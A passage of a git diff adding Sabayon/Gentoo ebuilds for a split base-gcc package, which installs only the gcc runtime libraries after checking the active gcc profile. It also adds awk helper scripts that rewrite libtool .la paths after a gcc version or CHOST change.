+#end Hardened stuff
+
+inherit eutils toolchain
+
+# This is here to redeclare is_gcc() in toolchain.eclass
+# We don't even want to build gcj, which is a real hog
+# on memory constrained hardware. base-gcc doesn't actually
+# ship with it atm.
+is_gcj() {
+	return 1
+}
+
+DESCRIPTION="The GNU Compiler Collection"
+
+LICENSE="GPL-3 LGPL-3 || ( GPL-3 libgcc libstdc++ gcc-runtime-library-exception-3.1 ) FDL-1.2"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~m68k ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~amd64-fbsd ~x86-fbsd"
+
+RDEPEND=">=sys-libs/zlib-1.1.4
+	virtual/libiconv
+	>=dev-libs/gmp-4.3.2
+	>=dev-libs/mpfr-2.4.2
+	>=dev-libs/mpc-0.8.1
+	graphite? (
+		>=dev-libs/cloog-ppl-0.15.10
+		>=dev-libs/ppl-0.11
+	)
+	!build? (
+		nls? ( sys-devel/gettext )
+	)"
+
+DEPEND="${RDEPEND}
+	test? (
+		>=dev-util/dejagnu-1.4.4
+		>=sys-devel/autogen-5.5.4
+	)
+	>=sys-apps/texinfo-4.8
+	>=sys-devel/bison-1.875
+	>=sys-devel/flex-2.5.4
+	>=${CATEGORY}/binutils-2.18"
+PDEPEND=">=sys-devel/gcc-config-1.4
+	go? ( >=sys-devel/gcc-config-1.5 )"
+
+## Check for valid gcc profile.
+src_unpack() {
+	# Since Sabayon's gcc ebuild are split into two parts, we have to
+	# build gcc with a different version of gcc, or terrible breakage
+	# will occur after sys-devel/base-gcc is installed, but the
+	# partner sys-devel/gcc still needs to be built.
+
+	# While it is possible to rebuild Sabayon's split gcc from
+	# the same version, we have to disallow this also since
+	# we have no way of discerning if a configuration change
+	# is significant enough to cause breakage.
+
+	GCC_PROFILE_VER=$(cat ${ROOT}/etc/env.d/gcc/config-$CHOST | awk -F- '{ print $NF }')
+	einfo "Checking for valid gcc profile to build ${P}"
+
+	# Construct the Slot of the gcc version in the active profile.
+	GCC_PROFILE_SLOT_MAJOR=$(echo ${GCC_PROFILE_VER} | awk -F. '{ print $1 }')
+	GCC_PROFILE_SLOT_MINOR=$(echo ${GCC_PROFILE_VER} | awk -F. '{ print $2 }')
+	GCC_PROFILE_SLOT="${GCC_PROFILE_SLOT_MAJOR}.${GCC_PROFILE_SLOT_MINOR}"
+	einfo "Current gcc profile version Slot is: ${GCC_PROFILE_SLOT}"
+	if [[ "${GCC_PROFILE_SLOT}" = "${SLOT}" ]] ; then
+		eerror "Error!"
+		eerror "The active gcc-profile is for sys-devel/gcc slot ${SLOT}."
+		eerror "Sabayon's split sys-devel/gcc package MUST be built"
+		eerror "with another slotted version of sys-devel/gcc active."
+		die "Invalid gcc profile selected!"
+	fi
+
+	toolchain_src_unpack
+
+	use vanilla && return 0
+
+	[[ ${CHOST} == ${CTARGET} ]] && epatch "${FILESDIR}"/gcc-spec-env.patch
+}
+
+## Remove lto conditional
+pkg_setup() {
+	toolchain_pkg_setup
+
+	ewarn
+	ewarn "LTO support is still experimental and unstable."
+	ewarn "Any bugs resulting from the use of LTO will not be fixed."
+	ewarn
+}
+
+## Just install libgcc stuff
+src_install() {
+	cd "${WORKDIR}/build"
+	S="${WORKDIR}"/build \
+		emake -j1 -C "${CTARGET}/libgcc" DESTDIR="${D}" install-shared || die
+	if use multilib; then
+		S="${WORKDIR}"/build emake -j1 -C "${CTARGET}/32/libgcc" DESTDIR="${D}" \
+			install-shared || die
+	fi
+
+	if use mudflap; then
+		S="${WORKDIR}"/build emake -j1 -C "${CTARGET}/libmudflap" DESTDIR="${D}" \
+			install-toolexeclibLTLIBRARIES || die
+		if use multilib; then
+			S="${WORKDIR}"/build emake -j1 -C "${CTARGET}/32/libmudflap" DESTDIR="${D}" \
+				install-toolexeclibLTLIBRARIES || die
+		fi
+	fi
+
+	if use openmp; then
+		S="${WORKDIR}"/build emake -j1 -C "${CTARGET}/libgomp" DESTDIR="${D}" \
+			install-toolexeclibLTLIBRARIES || die
+		if use multilib; then
+			S="${WORKDIR}"/build emake -j1 -C "${CTARGET}/32/libgomp" DESTDIR="${D}" \
+				install-toolexeclibLTLIBRARIES || die
+		fi
+	fi
+
+	S="${WORKDIR}"/build \
+		emake -j1 -C "${CTARGET}/libstdc++-v3/src" DESTDIR="${D}" \
+		install-toolexeclibLTLIBRARIES || die
+	if use multilib; then
+		S="${WORKDIR}"/build emake -j1 -C "${CTARGET}/32/libstdc++-v3/src" DESTDIR="${D}" \
+			install-toolexeclibLTLIBRARIES || die
+	fi
+
+	S="${WORKDIR}"/build emake -j1 -C "${CTARGET}/libstdc++-v3/po" DESTDIR="${D}" install || die
+	S="${WORKDIR}"/build emake -j1 -C "${CTARGET}/libgomp" DESTDIR="${D}" install-info || die
+
+	S="${WORKDIR}"/build emake -j1 DESTDIR="${D}" install-target-libquadmath || die
+	if use fortran; then
+		S="${WORKDIR}"/build emake -j1 DESTDIR="${D}" install-target-libgfortran || die
+	fi
+	# TODO: what to do with USE objc++ and objc-gc ?
+	if use objc; then
+		S="${WORKDIR}"/build emake -j1 DESTDIR="${D}" install-target-libobjc || die
+	fi
+
+	# from toolchain.eclass yay
+	gcc_movelibs
+
+	dodir /etc/env.d/gcc
+	create_gcc_env_entry
+
+	# Setup the gcc_env_entry for hardened gcc 4 with minispecs
+	if want_minispecs ; then
+		copy_minispecs_gcc_specs
+	fi
+
+	# drop any .la, .a
+	find "${D}" -name *.a -delete
+	find "${D}" -name *.la -delete
+
+	# drop any include
+	rm "${D}${LIBPATH}"/include -rf
+	# drop specs as well, provided by sys-devel/gcc-${PV}:${SLOT}
+	# unfortunately, the spec shit above does create the env.d/
+	# file content...
+	rm "${D}${LIBPATH}"/{32/,}*.spec{s,} -rf
+	rm "${D}${LIBPATH}"/specs -rf
+
+	# Now do the fun stripping stuff
+	env RESTRICT="" CHOST=${CTARGET} prepstrip "${D}${LIBPATH}"
+
+	cd "${S}"
+	if ! is_crosscompile; then
+		has noinfo ${FEATURES} \
+			&& rm -r "${D}/${DATAPATH}"/info \
+			|| prepinfo "${DATAPATH}"
+	fi
+
+	# use gid of 0 because some stupid ports don't have
+	# the group 'root' set to gid 0
+	chown -R root:0 "${D}"${LIBPATH}
+}
+
+## Do nothing!
+pkg_preinst() {
+	:
+}
+
+## Do nothing!
+pkg_postinst() {
+	:
+}
+
+## Do nothing!
+pkg_prerm() {
+	:
+}
+
+## Do nothing!
+pkg_postrm() {
+	:
+}
diff --git a/sys-devel/base-gcc/base-gcc-4.7.2.ebuild b/sys-devel/base-gcc/base-gcc-4.7.2.ebuild
new file mode 100644
index 00000000..51b07d01
--- /dev/null
+++ b/sys-devel/base-gcc/base-gcc-4.7.2.ebuild
@@ -0,0 +1,210 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+PATCH_VER="1.3"
+UCLIBC_VER="1.0"
+
+# Hardened gcc 4 stuff
+PIE_VER="0.5.2"
+SPECS_VER="0.2.0"
+SPECS_GCC_VER="4.4.3"
+# arch/libc configurations known to be stable with {PIE,SSP}-by-default
+PIE_GLIBC_STABLE="x86 amd64 mips ppc ppc64 arm ia64"
+PIE_UCLIBC_STABLE="x86 arm amd64 ppc ppc64"
+SSP_STABLE="amd64 x86 mips ppc ppc64 arm"
+# uclibc need tls and nptl support for SSP support
+# uclibc need to be >= 0.9.32
+SSP_UCLIBC_STABLE="x86 amd64 ppc ppc64 arm"
+#end Hardened stuff
+
+inherit eutils toolchain
+
+# This is here to redeclare is_gcc() in toolchain.eclass
+# We don't even want to build gcj, which is a real hog
+# on memory constrained hardware. base-gcc doesn't actually
+# ship with it atm.
+is_gcj() {
+	return 1
+}
+
+DESCRIPTION="The GNU Compiler Collection"
+
+LICENSE="GPL-3 LGPL-3 || ( GPL-3 libgcc libstdc++ gcc-runtime-library-exception-3.1 ) FDL-1.2"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~m68k ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~amd64-fbsd ~x86-fbsd"
+
+RDEPEND=">=sys-libs/zlib-1.1.4
+	virtual/libiconv
+	>=dev-libs/gmp-4.3.2
+	>=dev-libs/mpfr-2.4.2
+	>=dev-libs/mpc-0.8.1
+	graphite? (
+		>=dev-libs/cloog-ppl-0.15.10
+		>=dev-libs/ppl-0.11
+	)
+	!build? (
+		nls? ( sys-devel/gettext )
+	)"
+
+DEPEND="${RDEPEND}
+	test? (
+		>=dev-util/dejagnu-1.4.4
+		>=sys-devel/autogen-5.5.4
+	)
+	>=sys-apps/texinfo-4.8
+	>=sys-devel/bison-1.875
+	>=sys-devel/flex-2.5.4
+	>=${CATEGORY}/binutils-2.18"
+PDEPEND=">=sys-devel/gcc-config-1.4
+	go? ( >=sys-devel/gcc-config-1.5 )"
+
+## Check for valid gcc profile.
+src_unpack() {
+	# Since Sabayon's gcc ebuild are split into two parts, we have to
+	# build gcc with a different version of gcc, or terrible breakage
+	# will occur after sys-devel/base-gcc is installed, but the
+	# partner sys-devel/gcc still needs to be built.
+
+	# While it is possible to rebuild Sabayon's split gcc from
+	# the same version, we have to disallow this also since
+	# we have no way of discerning if a configuration change
+	# is significant enough to cause breakage.
+
+	GCC_PROFILE_VER=$(cat ${ROOT}/etc/env.d/gcc/config-$CHOST | awk -F- '{ print $NF }')
+	einfo "Checking for valid gcc profile to build ${P}"
+
+	# Construct the Slot of the gcc version in the active profile.
+	GCC_PROFILE_SLOT_MAJOR=$(echo ${GCC_PROFILE_VER} | awk -F. '{ print $1 }')
+	GCC_PROFILE_SLOT_MINOR=$(echo ${GCC_PROFILE_VER} | awk -F. '{ print $2 }')
+	GCC_PROFILE_SLOT="${GCC_PROFILE_SLOT_MAJOR}.${GCC_PROFILE_SLOT_MINOR}"
+	einfo "Current gcc profile version Slot is: ${GCC_PROFILE_SLOT}"
+	if [[ "${GCC_PROFILE_SLOT}" = "${SLOT}" ]] ; then
+		eerror "Error!"
+		eerror "The active gcc-profile is for sys-devel/gcc slot ${SLOT}."
+		eerror "Sabayon's split sys-devel/gcc package MUST be built"
+		eerror "with another slotted version of sys-devel/gcc active."
+		die "Invalid gcc profile selected!"
+	fi
+
+	toolchain_src_unpack
+
+	use vanilla && return 0
+
+	[[ ${CHOST} == ${CTARGET} ]] && epatch "${FILESDIR}"/gcc-spec-env.patch
+}
+
+## Remove lto conditional
+pkg_setup() {
+	toolchain_pkg_setup
+
+	ewarn
+	ewarn "LTO support is still experimental and unstable."
+	ewarn "Any bugs resulting from the use of LTO will not be fixed."
+	ewarn
+}
+
+## Just install libgcc stuff
+src_install() {
+	cd "${WORKDIR}/build"
+	S="${WORKDIR}"/build \
+		emake -j1 -C "${CTARGET}/libgcc" DESTDIR="${D}" install-shared || die
+	if use multilib; then
+		S="${WORKDIR}"/build emake -j1 -C "${CTARGET}/32/libgcc" DESTDIR="${D}" \
+			install-shared || die
+	fi
+
+	if use mudflap; then
+		S="${WORKDIR}"/build emake -j1 -C "${CTARGET}/libmudflap" DESTDIR="${D}" \
+			install-toolexeclibLTLIBRARIES || die
+		if use multilib; then
+			S="${WORKDIR}"/build emake -j1 -C "${CTARGET}/32/libmudflap" DESTDIR="${D}" \
+				install-toolexeclibLTLIBRARIES || die
+		fi
+	fi
+
+	if use openmp; then
+		S="${WORKDIR}"/build emake -j1 -C "${CTARGET}/libgomp" DESTDIR="${D}" \
+			install-toolexeclibLTLIBRARIES || die
+		if use multilib; then
+			S="${WORKDIR}"/build emake -j1 -C "${CTARGET}/32/libgomp" DESTDIR="${D}" \
+				install-toolexeclibLTLIBRARIES || die
+		fi
+	fi
+
+	S="${WORKDIR}"/build \
+		emake -j1 -C "${CTARGET}/libstdc++-v3/src" DESTDIR="${D}" \
+		install-toolexeclibLTLIBRARIES || die
+	if use multilib; then
+		S="${WORKDIR}"/build emake -j1 -C "${CTARGET}/32/libstdc++-v3/src" DESTDIR="${D}" \
+			install-toolexeclibLTLIBRARIES || die
+	fi
+
+	S="${WORKDIR}"/build emake -j1 -C "${CTARGET}/libstdc++-v3/po" DESTDIR="${D}" install || die
+	S="${WORKDIR}"/build emake -j1 -C "${CTARGET}/libgomp" DESTDIR="${D}" install-info || die
+
+	S="${WORKDIR}"/build emake -j1 DESTDIR="${D}" install-target-libquadmath || die
+	if use fortran; then
+		S="${WORKDIR}"/build emake -j1 DESTDIR="${D}" install-target-libgfortran || die
+	fi
+	# TODO: what to do with USE objc++ and objc-gc ?
+	if use objc; then
+		S="${WORKDIR}"/build emake -j1 DESTDIR="${D}" install-target-libobjc || die
+	fi
+
+	# from toolchain.eclass yay
+	gcc_movelibs
+
+	dodir /etc/env.d/gcc
+	create_gcc_env_entry
+
+	# Setup the gcc_env_entry for hardened gcc 4 with minispecs
+	if want_minispecs ; then
+		copy_minispecs_gcc_specs
+	fi
+
+	# drop any .la, .a
+	find "${D}" -name *.a -delete
+	find "${D}" -name *.la -delete
+
+	# drop any include
+	rm "${D}${LIBPATH}"/include -rf
+	# drop specs as well, provided by sys-devel/gcc-${PV}:${SLOT}
+	# unfortunately, the spec shit above does create the env.d/
+	# file content...
+	rm "${D}${LIBPATH}"/{32/,}*.spec{s,} -rf
+	rm "${D}${LIBPATH}"/specs -rf
+
+	# Now do the fun stripping stuff
+	env RESTRICT="" CHOST=${CTARGET} prepstrip "${D}${LIBPATH}"
+
+	cd "${S}"
+	if ! is_crosscompile; then
+		has noinfo ${FEATURES} \
+			&& rm -r "${D}/${DATAPATH}"/info \
+			|| prepinfo "${DATAPATH}"
+	fi
+
+	# use gid of 0 because some stupid ports don't have
+	# the group 'root' set to gid 0
+	chown -R root:0 "${D}"${LIBPATH}
+}
+
+## Do nothing!
+pkg_preinst() {
+	:
+}
+
+## Do nothing!
+pkg_postinst() {
+	:
+}
+
+## Do nothing!
+pkg_prerm() {
+	:
+}
+
+## Do nothing!
+pkg_postrm() {
+	:
+}
diff --git a/sys-devel/base-gcc/files/awk/fixlafiles.awk b/sys-devel/base-gcc/files/awk/fixlafiles.awk
new file mode 100644
index 00000000..ffade966
--- /dev/null
+++ b/sys-devel/base-gcc/files/awk/fixlafiles.awk
@@ -0,0 +1,314 @@
+# Copyright 1999-2005 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/sys-devel/gcc/files/awk/fixlafiles.awk,v 1.15 2008/02/19 05:47:29 vapier Exp $
+
+#
+# Helper functions
+#
+function printn(string) {
+	printf("%s", string)
+}
+function einfo(string) {
+	printf(" \033[32;01m*\033[0m %s\n", string)
+}
+function einfon(string) {
+	printf(" \033[32;01m*\033[0m %s", string)
+}
+function ewarn(string) {
+	printf(" \033[33;01m*\033[0m %s\n", string)
+}
+function ewarnn(string) {
+	printf(" \033[33;01m*\033[0m %s", string)
+}
+function eerror(string) {
+	printf(" \033[31;01m*\033[0m %s\n", string)
+}
+
+#
+# assert(condition, errmsg)
+#   assert that a condition is true.  Otherwise exit.
+#
+function assert(condition, string) {
+	if (! condition) {
+		printf("%s:%d: assertion failed: %s\n",
+		       FILENAME, FNR, string) > "/dev/stderr"
+		_assert_exit = 1
+		exit 1
+	}
+}
+
+#
+# system(command, return)
+#   wrapper that normalizes return codes ...
+#
+function dosystem(command, ret) {
+	ret = 0
+	ret = system(command)
+	if (ret == 0)
+		return 1
+	else
+		return 0
+}
+
+BEGIN {
+	#
+	# Get our variables from environment
+	#
+	OLDVER = ENVIRON["OLDVER"]
+	OLDCHOST = ENVIRON["OLDCHOST"]
+
+	if (OLDVER == "") {
+		eerror("Could not get OLDVER!");
+		exit 1
+	}
+
+	# Setup some sane defaults
+	LIBCOUNT = 2
+	HAVE_GCC34 = 0
+	DIRLIST[1] = "/lib"
+	DIRLIST[2] = "/usr/lib"
+
+	#
+	# Walk /etc/ld.so.conf to discover all our library paths
+	#
+	pipe = "cat /etc/ld.so.conf | sort 2>/dev/null"
+	while(((pipe) | getline ldsoconf_data) > 0) {
+		if (ldsoconf_data !~ /^[[:space:]]*#/) {
+			if (ldsoconf_data == "") continue
+
+			# Remove any trailing comments
+			sub(/#.*$/, "", ldsoconf_data)
+			# Remove any trailing spaces
+			sub(/[[:space:]]+$/, "", ldsoconf_data)
+
+			# If there's more than one path per line, split 
+			# it up as if they were sep lines
+			split(ldsoconf_data, nodes, /[:,[:space:]]/)
+
+			# Now add the rest from ld.so.conf
+			for (x in nodes) {
+				# wtf does this line do ?
+				sub(/=.*/, "", nodes[x])
+				# Prune trailing /
+				sub(/\/$/, "", nodes[x])
+
+				if (nodes[x] == "") continue
+
+				#
+				# Drop the directory if its a child directory of
+				# one that was already added ...
+				# For example, if we have:
+				#   /usr/lib /usr/libexec /usr/lib/mozilla /usr/lib/nss
+				# We really just want to save /usr/lib /usr/libexec
+				#
+				CHILD = 0
+				for (y in DIRLIST) {
+					if (nodes[x] ~ "^" DIRLIST[y] "(/|$)") {
+						CHILD = 1
+						break
+					}
+				}
+				if (CHILD) continue
+
+				DIRLIST[++LIBCOUNT] = nodes[x]
+			}
+		}
+	}
+	close(pipe)
+
+	#
+	# Get line from gcc's output containing CHOST
+	#
+	pipe = "gcc -print-file-name=libgcc.a 2>/dev/null"
+	if ((!((pipe) | getline TMP_CHOST)) || (TMP_CHOST == "")) {
+		close(pipe)
+
+		# If we fail to get the CHOST, see if we can get the CHOST
+		# portage thinks we are using ...
+		pipe = "/usr/bin/portageq envvar 'CHOST'"
+		assert(((pipe) | getline CHOST), "(" pipe ") | getline CHOST")
+	} else {
+		# Check pre gcc-3.4.x versions
+		CHOST = gensub("^.+lib/gcc-lib/([^/]+)/[0-9]+.+$", "\\1", 1, TMP_CHOST)
+
+		if (CHOST == TMP_CHOST || CHOST == "") {
+			# Check gcc-3.4.x or later
+			CHOST = gensub("^.+lib/gcc/([^/]+)/[0-9]+.+$", "\\1", 1, TMP_CHOST);
+
+			if (CHOST == TMP_CHOST || CHOST == "")
+				CHOST = ""
+			else
+				HAVE_GCC34 = 1
+		}
+	}
+	close(pipe)
+
+	if (CHOST == "") {
+		eerror("Could not get gcc's CHOST!")
+		exit 1
+	}
+
+	if (OLDCHOST != "")
+		if (OLDCHOST == CHOST)
+			OLDCHOST = ""
+
+	GCCLIBPREFIX_OLD = "/usr/lib/gcc-lib/"
+	GCCLIBPREFIX_NEW = "/usr/lib/gcc/"
+
+	if (HAVE_GCC34)
+		GCCLIBPREFIX = GCCLIBPREFIX_NEW
+	else
+		GCCLIBPREFIX = GCCLIBPREFIX_OLD
+
+	GCCLIB = GCCLIBPREFIX CHOST
+
+	if (OLDCHOST != "") {
+		OLDGCCLIB1 = GCCLIBPREFIX_OLD OLDCHOST
+		OLDGCCLIB2 = GCCLIBPREFIX_NEW OLDCHOST
+	}
+
+	# Get current gcc's version
+	pipe = "gcc -dumpversion"
+	assert(((pipe) | getline NEWVER), "(" pipe ") | getline NEWVER)")
+	close(pipe)
+
+	if (NEWVER == "") {
+		eerror("Could not get gcc's version!")
+		exit 1
+	}
+
+	# Nothing to do ?
+	if ((OLDVER == NEWVER) && (OLDCHOST == ""))
+		exit 0
+
+	#
+	# Ok, now let's scan for the .la files and actually fix them up
+	#
+	for (x = 1; x <= LIBCOUNT; x++) {
+		# Do nothing if the target dir is gcc's internal library path
+		if (DIRLIST[x] ~ GCCLIBPREFIX_OLD ||
+		    DIRLIST[x] ~ GCCLIBPREFIX_NEW)
+			continue
+
+		einfo("  [" x "/" LIBCOUNT "] Scanning " DIRLIST[x] " ...")
+
+		pipe = "find " DIRLIST[x] "/ -name '*.la' 2>/dev/null"
+		while (((pipe) | getline la_files) > 0) {
+
+			# Do nothing if the .la file is located in gcc's internal lib path
+			if (la_files ~ GCCLIBPREFIX_OLD ||
+			    la_files ~ GCCLIBPREFIX_NEW)
+				continue
+
+			CHANGED = 0
+			CHOST_CHANGED = 0
+
+			# See if we need to fix the .la file
+			while ((getline la_data < (la_files)) > 0) {
+				if (OLDCHOST != "") {
+					if ((gsub(OLDGCCLIB1 "[/[:space:]]+",
+					          GCCLIB, la_data) > 0) ||
+					    (gsub(OLDGCCLIB2 "[/[:space:]]+",
+					          GCCLIB, la_data) > 0)) {
+						CHANGED = 1
+						CHOST_CHANGED = 1
+					}
+				}
+				if (OLDVER != NEWVER) {
+					if ((gsub(GCCLIBPREFIX_OLD CHOST "/" OLDVER "[/[:space:]]*",
+					          GCCLIB "/" NEWVER, la_data) > 0) ||
+					    (gsub(GCCLIBPREFIX_NEW CHOST "/" OLDVER "[/[:space:]]*",
+					          GCCLIB "/" NEWVER, la_data) > 0))
+						CHANGED = 1
+				}
+			}
+			close(la_files)
+
+			# Do the actual changes in a second loop, as we can then
+			# verify that CHOST_CHANGED among things is correct ...
+			if (CHANGED) {
+				ewarnn("    FIXING: " la_files " ...")
+
+				if (CHANGED)
+					printn("[")
+
+				# Clear the temp file (removing rather than '>foo' is better
+				# out of a security point of view?)
+				dosystem("rm -f " la_files ".new")
+
+				while ((getline la_data < (la_files)) > 0) {
+					if (OLDCHOST != "") {
+						tmpstr = gensub(OLDGCCLIB1 "([/[:space:]]+)",
+						                GCCLIB "\\1", "g", la_data)
+						tmpstr = gensub(OLDGCCLIB2 "([/[:space:]]+)",
+						                GCCLIB "\\1", "g", tmpstr)
+
+						if (la_data != tmpstr) {
+							printn("c")
+							la_data = tmpstr
+						}
+
+						if (CHOST_CHANGED > 0) {
+							# We try to be careful about CHOST changes outside
+							# the gcc library path (meaning we cannot match it
+							# via /GCCLIBPREFIX CHOST/) ...
+
+							# Catch:
+							#
+							#  dependency_libs=' -L/usr/CHOST/{bin,lib}'
+							#
+							gsub("-L/usr/" OLDCHOST "/",
+							     "-L/usr/" CHOST "/", la_data)
+							# Catch:
+							#
+							#  dependency_libs=' -L/usr/lib/gcc-lib/CHOST/VER/../../../../CHOST/lib'
+							#
+							la_data = gensub("(" GCCLIB "/[^[:space:]]+)/" OLDCHOST "/",
+							                 "\\1/" CHOST "/", "g", la_data)
+						}
+					}
+
+					if (OLDVER != NEWVER) {
+						# Catch:
+						#
+						#  dependency_libs=' -L/usr/lib/gcc/CHOST/VER'
+						#
+						tmpstr = gensub(GCCLIBPREFIX_OLD CHOST "/" OLDVER "([/[:space:]]+)",
+						                GCCLIB "/" NEWVER "\\1", "g", la_data)
+						tmpstr = gensub(GCCLIBPREFIX_NEW CHOST "/" OLDVER "([/[:space:]]+)",
+						                GCCLIB "/" NEWVER "\\1", "g", tmpstr)
+
+						if (la_data != tmpstr) {
+							# Catch:
+							#
+							#  dependency_libs=' -L/usr/lib/gcc-lib/../../CHOST/lib'
+							#
+							# in cases where we have gcc34
+							tmpstr = gensub(GCCLIBPREFIX_OLD "(../../" CHOST "/lib)",
+							                GCCLIBPREFIX "\\1", "g", tmpstr)
+							tmpstr = gensub(GCCLIBPREFIX_NEW "(../../" CHOST "/lib)",
+							                GCCLIBPREFIX "\\1", "g", tmpstr)
+							printn("v")
+							la_data = tmpstr
+						}
+					}
+
+					print la_data >> (la_files ".new")
+				}
+
+				if (CHANGED)
+					print "]"
+
+				close(la_files)
+				close(la_files ".new")
+
+				assert(dosystem("mv -f " la_files ".new " la_files),
+				       "dosystem(\"mv -f " la_files ".new " la_files "\")")
+			}
+		}
+
+		close(pipe)
+	}
+}
+
+# vim:ts=4
diff --git a/sys-devel/base-gcc/files/awk/fixlafiles.awk-no_gcc_la b/sys-devel/base-gcc/files/awk/fixlafiles.awk-no_gcc_la
new file mode 100644
index 00000000..346bd16f
--- /dev/null
+++ b/sys-devel/base-gcc/files/awk/fixlafiles.awk-no_gcc_la
@@ -0,0 +1,335 @@
+# Copyright 1999-2005 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/sys-devel/gcc/files/awk/fixlafiles.awk-no_gcc_la,v 1.4 2010/03/19 23:53:07 vapier Exp $
+
+#
+# Helper functions
+#
+function printn(string) {
+	printf("%s", string)
+}
+function einfo(string) {
+	printf(" \033[32;01m*\033[0m %s\n", string)
+}
+function einfon(string) {
+	printf(" \033[32;01m*\033[0m %s", string)
+}
+function ewarn(string) {
+	printf(" \033[33;01m*\033[0m %s\n", string)
+}
+function ewarnn(string) {
+	printf(" \033[33;01m*\033[0m %s", string)
+}
+function eerror(string) {
+	printf(" \033[31;01m*\033[0m %s\n", string)
+}
+
+#
+# assert(condition, errmsg)
+#   assert that a condition is true.  Otherwise exit.
+#
+function assert(condition, string) {
+	if (! condition) {
+		printf("%s:%d: assertion failed: %s\n",
+		       FILENAME, FNR, string) > "/dev/stderr"
+		_assert_exit = 1
+		exit 1
+	}
+}
+
+#
+# system(command, return)
+#   wrapper that normalizes return codes ...
+#
+function dosystem(command, ret) {
+	ret = 0
+	ret = system(command)
+	if (ret == 0)
+		return 1
+	else
+		return 0
+}
+
+#
+# parse_ld_conf(config_file)
+#
+function parse_ld_conf(conf,    pipe, ldsoconf_data, CHILD, y) {
+	pipe = "cd /etc; cat " conf " | sort 2>/dev/null"
+	while(((pipe) | getline ldsoconf_data) > 0) {
+		if (ldsoconf_data ~ /^[[:space:]]*#/)
+			continue
+		if (ldsoconf_data == "")
+			continue
+
+		# Handle the "include" keyword
+		if (ldsoconf_data ~ /^include /) {
+			sub(/^include /, "", ldsoconf_data)
+			parse_ld_conf(ldsoconf_data)
+			continue
+		}
+
+		# Remove any trailing comments
+		sub(/#.*$/, "", ldsoconf_data)
+		# Remove any trailing spaces
+		sub(/[[:space:]]+$/, "", ldsoconf_data)
+		# Eat duplicate slashes
+		sub(/\/\//, "/", ldsoconf_data)
+		# Prune trailing /
+		sub(/\/$/, "", ldsoconf_data)
+
+		#
+		# Drop the directory if its a child directory of
+		# one that was already added ...
+		# For example, if we have:
+		#   /usr/lib /usr/libexec /usr/lib/mozilla /usr/lib/nss
+		# We really just want to save /usr/lib /usr/libexec
+		#
+		CHILD = 0
+		for (y in DIRLIST) {
+			if (ldsoconf_data ~ "^" DIRLIST[y] "(/|$)") {
+				CHILD = 1
+				break
+			}
+		}
+		if (CHILD) continue
+
+		DIRLIST[++LIBCOUNT] = ldsoconf_data
+	}
+	close(pipe)
+}
+
+BEGIN {
+	#
+	# Get our variables from environment
+	#
+	OLDVER = ENVIRON["OLDVER"]
+	OLDCHOST = ENVIRON["OLDCHOST"]
+
+	if (OLDVER == "") {
+		eerror("Could not get OLDVER!");
+		exit 1
+	}
+
+	# Setup some sane defaults
+	LIBCOUNT = 2
+	HAVE_GCC34 = 0
+	DIRLIST[1] = "/lib"
+	DIRLIST[2] = "/usr/lib"
+
+	#
+	# Walk /etc/ld.so.conf to discover all our library paths
+	#
+	parse_ld_conf("/etc/ld.so.conf")
+
+	#
+	# Get line from gcc's output containing CHOST
+	#
+	pipe = "gcc -print-file-name=libgcc.a 2>/dev/null"
+	if ((!((pipe) | getline TMP_CHOST)) || (TMP_CHOST == "")) {
+		close(pipe)
+
+		# If we fail to get the CHOST, see if we can get the CHOST
+		# portage thinks we are using ...
+		pipe = "/usr/bin/portageq envvar 'CHOST'"
+		assert(((pipe) | getline CHOST), "(" pipe ") | getline CHOST")
+	} else {
+		# Check pre gcc-3.4.x versions
+		CHOST = gensub("^.+lib/gcc-lib/([^/]+)/[0-9]+.+$", "\\1", 1, TMP_CHOST)
+
+		if (CHOST == TMP_CHOST || CHOST == "") {
+			# Check gcc-3.4.x or later
+			CHOST = gensub("^.+lib/gcc/([^/]+)/[0-9]+.+$", "\\1", 1, TMP_CHOST);
+
+			if (CHOST == TMP_CHOST || CHOST == "")
+				CHOST = ""
+			else
+				HAVE_GCC34 = 1
+		}
+	}
+	close(pipe)
+
+	if (CHOST == "") {
+		eerror("Could not get gcc's CHOST!")
+		exit 1
+	}
+
+	if (OLDCHOST != "")
+		if (OLDCHOST == CHOST)
+			OLDCHOST = ""
+
+	GCCLIBPREFIX_OLD = "/usr/lib/gcc-lib/"
+	GCCLIBPREFIX_NEW = "/usr/lib/gcc/"
+
+	if (HAVE_GCC34)
+		GCCLIBPREFIX = GCCLIBPREFIX_NEW
+	else
+		GCCLIBPREFIX = GCCLIBPREFIX_OLD
+
+	GCCLIB = GCCLIBPREFIX CHOST
+
+	if (OLDCHOST != "") {
+		OLDGCCLIB1 = GCCLIBPREFIX_OLD OLDCHOST
+		OLDGCCLIB2 = GCCLIBPREFIX_NEW OLDCHOST
+	}
+
+	# Get current gcc's version
+	pipe = "gcc -dumpversion"
+	assert(((pipe) | getline NEWVER), "(" pipe ") | getline NEWVER)")
+	close(pipe)
+
+	if (NEWVER == "") {
+		eerror("Could not get gcc's version!")
+		exit 1
+	}
+
+	# Nothing to do ?
+	# NB: Do not check for (OLDVER == NEWVER) anymore, as we might need to
+	#     replace libstdc++.la ....
+	if ((OLDVER == "") && (OLDCHOST == ""))
+		exit 0
+
+	#
+	# Ok, now let's scan for the .la files and actually fix them up
+	#
+	for (x = 1; x <= LIBCOUNT; x++) {
+		# Do nothing if the target dir is gcc's internal library path
+		if (DIRLIST[x] ~ GCCLIBPREFIX_OLD ||
+		    DIRLIST[x] ~ GCCLIBPREFIX_NEW)
+			continue
+
+		einfo("  [" x "/" LIBCOUNT "] Scanning " DIRLIST[x] " ...")
+
+		pipe = "find " DIRLIST[x] "/ -name '*.la' 2>/dev/null"
+		while (((pipe) | getline la_files) > 0) {
+
+			# Do nothing if the .la file is located in gcc's internal lib path
+			if (la_files ~ GCCLIBPREFIX_OLD ||
+			    la_files ~ GCCLIBPREFIX_NEW)
+				continue
+
+			CHANGED = 0
+			CHOST_CHANGED = 0
+
+			# See if we need to fix the .la file
+			while ((getline la_data < (la_files)) > 0) {
+				if (OLDCHOST != "") {
